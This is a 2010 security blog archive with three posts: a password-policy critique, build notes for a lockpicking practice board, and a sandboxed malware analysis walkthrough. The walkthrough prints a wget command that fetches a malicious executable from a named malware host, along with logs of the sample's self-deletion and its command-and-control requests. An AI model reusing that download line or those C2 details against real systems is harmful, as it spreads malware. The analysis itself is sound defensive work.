Archive for March, 2010

Your Password Policy Tells Me That You Don’t Understand Security

Monday, March 22nd, 2010

How many times have you tried to create a password and discovered that it was too secure for the site?

“Please enter a password consisting of letters and numbers.” What?! This is 2010; there’s no reason any software out there shouldn’t support quotes, backslashes, exclamation points, or even kanji characters in a password. A site that fails to support at least all the printable characters on a modern keyboard is saying something very, very scary about their backend software: “We don’t know how it will react.” Think about that. The developers are so unsure about the quality of the implementation of this standard, well-trodden area of code that they have to have their customers help to make sure it doesn’t break.

Do you really want to do business with a company that isn’t sure it can handle textual passwords? This problem isn’t limited to podunk websites; bank and brokerage sites are implicated particularly frequently in this.

So, next time this happens to you, don’t just click away or grumble and pick a weaker password; send a message to customer service, tell them it’s a problem, and send this article.

If you are a website affected by this:

First of all, thanks for reading. Whether you’re with PR or Engineering, the fact that you’re actually looking into a complaint puts you head and shoulders above a lot of sites.

Here is the question you should ask internally: “Is this a policy decision or a technical one?

If it’s a policy decision, you might be okay. Some organizations decide that special characters are too much for their users to handle: perhaps they result in too much customer support work doing password resets. If that’s the case, please take the time to look at the numbers, gauge your current customer base, and revisit that decision. The typical computer user has matured a lot in the last 5 years and with this change you can easily upgrade your users’ security (and confidence).

If it’s a technical decision, it’s time to start worrying. The user registration and login process is the most clear-cut example of security related code in any system. That entire code path, from the front end GUI to the back end database should have been thoroughly checked, tested, and made absolutely bulletproof. If there’s any doubt in anyone’s mind that the code on this path doesn’t do exactly what it should, that calls the entire rest of the development process into question. The key issue here is input validation, sanitization, and proper practice in isolating code (how your software makes decisions) from data (what it bases those decisions on). If this is done correctly, then there is no technical reason that special characters (indeed, any characters!) cannot be used in passwords. If it’s not done correctly, then the software is vulnerable to a whole class of potent attacks. Specifics of those attacks have been well covered elsewhere but the takeaway needs to be that this single detail may indicate much deeper problems. Looking hard at this issue now may save a great deal of pain and expense later.

Be aware that it might actually be a technical problem even if it’s also codified in policy. This is the most insidious case. What started as a technical limitation “way back when” got papered over with user documentation, and a well-intentioned inquiry gets nowhere. Make sure you push for an answer. If you’re a non-technical person trying to get a clear answer, ask what happens if international users try to use non-English characters in their username or password (Internationalization and Unicode support raise some of the same issues of character sets and separation of code and data). If it wouldn’t work, you’ve got an opportunity to kill a security bird and an internationalization bird with one stone by addressing this issue

Getting Help:

The Open Web Application Security (OWASP) project is a phenomenal resource for anyone wanting to get serious about security. Check out the OWASP Top 10 for a quick view of the kinds of vulnerabilities that exist in software, and what practices fix them (a short overview video; poor sound, good explanation).

Wall Of Shame:

(This is a starter collection based on polling a few friends, I’m sure there are hundreds more. Leave a comment if you have others, or if any of these have fixed it)

Capital One
Aetna
GoDaddy
Fidelity
Smith Barney
Verizon
Digg
StumbleUpon
Mvelopes.com
Wells Fargo (toLowerCase()?)
Progressive.com (Only special chars are @.-_)
GoGo Inflight Wifi
ADP.com

Progressive Deadbolt Practice Board

Sunday, March 21st, 2010

I brought this to BSides SF a few weeks ago with the promise to provide the measurements and construction notes to anyone interested. It took a while to get around to writing it up, but without further ado, here it is. I need to provide credit to my co-worker Craig, whose version this is a copy of.

Wood: A 3′ 2×8 cut once, or a 6′ 2×8 cut thrice (if that’s all the lumber yard will sell you or you want to make two of these. Any decent lumber store should rip it for you for free.)

Locks: Standard entry-level Kwicksets, with pins removed to make a progressive 1-2-3-4-5 pin set. You can actually use pretty much any locks that mount in a door: read the installation instructions that come with them and modify the distance the holes are offset from the edge of the board accordingly.

Tools: If you get the lumber store to make the cuts for you, all you need is a drill press or power drill with a 2″-diameter hole saw (make sure that’s the exterior dimension, or double check against the installation instruction for the deadbolts) and a small spade bit. A belt sander is nice to finish the whole thing off, but not strictly necessary.

TOOOLs: Awesome folks who deserve respect and beer.

Other Notes: The handle on the top makes it much easier to transport, so don’t try to save yourself a buck on that. There are three wood screws drilled from the bottom to hold the vertical board to the base.

This diagram has both the assembled board and the cuts you’ll want to make to a 6″ 2×8 to make two of these.

Malware Analysis Walking Tour (The Payload)

Monday, March 8th, 2010

If you’re just tuning in, this is the third post in a series. Check out the beginning of the Malware Analysis Walking Tour to see how we got here.

Also, if you’re doing this for anything other than your own edification, there are *much* faster ways to go about many of these steps. Wes Brown of IO Active recently gave an excellent talk on his malware analysis toolkit at BSides SF.

The Payload

Someone went to a lot of trouble to get this SgwAg.exe on the machine. The question is why: Spam? Porn? Advertising? Botnet?

First off, we’ll need a copy of the exe. Since none of the nasty bits of the exploit code actually ran on the linux machine, we’ll have to go fetch the exe manually. We saw the url for it in the decoded exploit code, so we can grab it easily enough:

$ wgetasie -O SgwAg.exe.INFECTED http://nevpizdy-nenyznie50domain.in/feedback.php?page=1
[]
2010-01-04 19:19:37 (63.2 KB/s) - 'SgwAg.exe.INFECTED' saved [84992/84992]
$ file SgwAg.exe.INFECTED
SgwAg.exe.INFECTED: PE32 executable for MS Windows (GUI) Intel 80386 32-bit

Here I used the file command for a quick check that I did indeed get a Windows executable back. One step that’s quick and easy is to simply dump the strings in the file. Sometimes this tells us nothing, sometimes it tells us a lot.

$ strings SgwAg.exe.INFECTED | more
[...]
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> 
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> 
<assemblyIdentity 
    version="1.0.0.0" 
    processorArchitecture="X86" 
    name="Sandboxie" 
    type="win32" 
<description>Sandboxie</description> 
[...]

Hmmm… it is, was, contains, or is meant to look like something called “Sandboxie”. Looking at the properties on my Windows VM seems to back this up.

Well, that’s just too weird to pass up. Ordinarily at this point I’d be deciding on whether to deadlist in IDA or step through it in OllyDbg, but if some part of this malware is actually borrowed code then we stand to learn a lot by checking out what functionality is being ripped off.

I found the Sandboxie site and grabbed the release indicated by the PE version info (3.26) and install it on a VM, then take an md5 sum of Start.exe (from the official Sandboxie release), and the malware SgwAg.exe.

$ md5sum Start.exe SgwAg.exe.INFECTED
70c8e29228870ae7d5da6f457b9b395d  Start.exe
39990427da35c7625764c0e6f262a299  SgwAg.exe.INFECTED

Okay, so they’re not actually the same piece of code. No info about why the malware looks like Sandboxie, but hopefully that will become evident later. Just in case, I run both of them through the Binary Diffing Suite; there are a lot of changes, too many to list. I also put them through BinDiff in IDA to see if there’s any parts that are actually the same.

Only two functions “match” in name/parameter hueristics, but a quick glance at the graph view shows that these are red herrings. The yellow nodes with red outlines in the callgraph are ones that match no nodes in the other, supposedly similar, function. So, this malware was just supposed to look like Sandboxie Start.exe from the outside.

Since I don’t think there’s much more I can learn by staring at the surface of the file, it’s again time to make the decision: run or read? I can put the exe in a disposable environment, run it, and debug/profile it, or disassemble it and see what find. I’ve done a lot of the “running it” approach, so I look at IDA Pro to see what the code has to say. Checking what functions are imported and what functions are defined is an informative first step.

Awesome. I see socket(), bind(), and listen(), the three bad boys of becoming a server. Since I’m not much of a windows programmer, other than that nothing rings a bell and it’s time to read up on the rest of these functions and see what else this binary is equipped to do. The other problem is that while these functions are imported, they’re not actually used anywhere. That and some huge swaths of bytes that IDA didn’t recognize as instructions or data stinks of more packed or encoded/polymorphic code.

I run PEiD on the binary to see if it recognizes any common packer; nothing is identified. Oh well, it was worth a try.

[TODO – Finish writing SgwAg analysis; unpacking routine and antidebugging]

We’ve put it off long enough; it’s time to run this sucker. I copy the file over to a test VM and prepare to run it:

  • Switch the VMWare guest to HostOnly networking
  • Take a filesystem and registry snapshot using InstallWatch Pro
  • Snapshot the VM
  • Run Wireshark on the VMWare host so we can see anything that the malware attempts to connect to
  • Run a fake DNS to resolve all names to the VM Host
  • Run a fake HTTP server on the VM Host to log and respond to all requests
  • Start ProcMon and filter out activity that will flood the logs

Double click and… the file disappears. Hmm, that was anticlimactic. Did it do anything before erasing itself? I stop ProcMon and save the full logs, then filter for anything done by SgwAg.exe, and save again. The log shows that it was very busy indeed; a bit over 2000 logged actions before it exited, and several process creations.

We look through this and see that it’s doing a number of things, including reading out large chunks of itself.

ReadFile	C:\binaries_for_analysis\SgwAg.exe	SUCCESS	Offset: 2,560, Length: 1,024
ReadFile	C:\binaries_for_analysis\SgwAg.exe	SUCCESS	Offset: 1,024, Length: 1,536
ReadFile	C:\binaries_for_analysis\SgwAg.exe	SUCCESS	Offset: 4,096, Length: 16,384
ReadFile	C:\binaries_for_analysis\SgwAg.exe	SUCCESS	Offset: 20,480, Length: 16,384
[...and later...]
CreateFile	C:\WINDOWS\packycfg.dll	SUCCESS	OpenResult: Created
WriteFile	C:\WINDOWS\packycfg.dll	SUCCESS	Offset: 0, Length: 35,328
CloseFile	C:\WINDOWS\packycfg.dll	SUCCESS

Now, it could be a coincidence that the malware reads out four chunks of itself totaling 35,328 bytes, then writes out a brand new 35,328 byte file, but I’m going to go with “highly unlikely”. We’ll have to get a copy of that and analyze it as well. However, that does save us time discovering and reversing the packing scheme that was used (since PEiD didn’t recognize it). Only one other file gets written:

WriteFile	C:\binaries_for_analysis\abcdefg.bat	SUCCESS	Offset: 0, Length: 50
[… and later …]
Process Create	C:\WINDOWS\system32\cmd.exe	SUCCESS	PID: 1152, Command line: cmd /c 	""C:\binaries_for_analysis\abcdefg.bat" "C:\binaries_for_analysis\SgwAg.exe""

This is a pretty standard pattern. If a binary wants to delete itself the usual approach is to write a batch file with instructions to delete it, then terminate, and let the batch file clean up. This particular flavor looped while checking if the second argument existed, trying to delete it each time.

While I’m saving logs from ProcMon and InstallWatch I notice that the dummy DNS and HTTP servers I set up are suddenly showing lots of requests.

pyminifakeDNS:: dom.query. 60 IN A 192.168.62.1
Respuesta: in.webstat44.com. -&gt; 192.168.62.1

The Fake DNS (from http://code.activestate.com/recipes/491264/) did its job; the malware requested resolution of “in.webstat44.com” and it got the IP of the VM host. It then makes some HTTP POST and GET requests.

DummyHTTP ready.
 
Saw POST request:
Content-Type: multipart/form-data; boundary=--------------------------cd4d11cd4d11cd4d11
User-Agent: IE
Host: in.webstat44.com
Content-Length: 317
Cache-Control: no-cache 
 
PTHOMAS-MALWARE - - [11/Jan/2010 16:34:49] "POST /cgi-bin/forms.cgi HTTP/1.1" 200 -
 
Saw GET request:
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1; .NET4.0C; .NET4.0E)
Host: in.webstat44.com
Connection: Keep-Alive 
 
PTHOMAS-MALWARE - - [11/Jan/2010 16:34:54] "GET /cgi-bin/options.cgi?user_id=1426383534&amp;version_id=38&amp;passphrase=fkjvhsdvlksdhvlsd&amp;socks=0&amp;version=38&amp;crc=00000000 HTTP/1.1" 200 -
 
Saw GET request:
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1; .NET4.0C; .NET4.0E)
Host: in.webstat44.com
Connection: Keep-Alive 
 
PTHOMAS-MALWARE - - [11/Jan/2010 16:35:08] "GET /cgi-bin/options.cgi?user_id=1426383534&amp;version_id=38&amp;passphrase=fkjvhsdvlksdhvlsd&amp;socks=0&amp;version=38&amp;crc=00000000 HTTP/1.1" 200 - 
 
[...many more of this request...]

Hmm, the exe took its sweet time there; from initial run (16:10:03) to first phone home (16:34:49) was a bit over 24 minutes. Some checks online show that “in.webstat44.com” was listed on various malware domain blacklists a while ago and has since gone offline. Cool; score one for the good guys. That leaves us with just the newly written packycfg.dll to analyze.

Okay then, we have what we need. I zip up all the logs, output, and packycfg and move them off the VM, then revert it to the snapshot.


Next Up: The Real Payload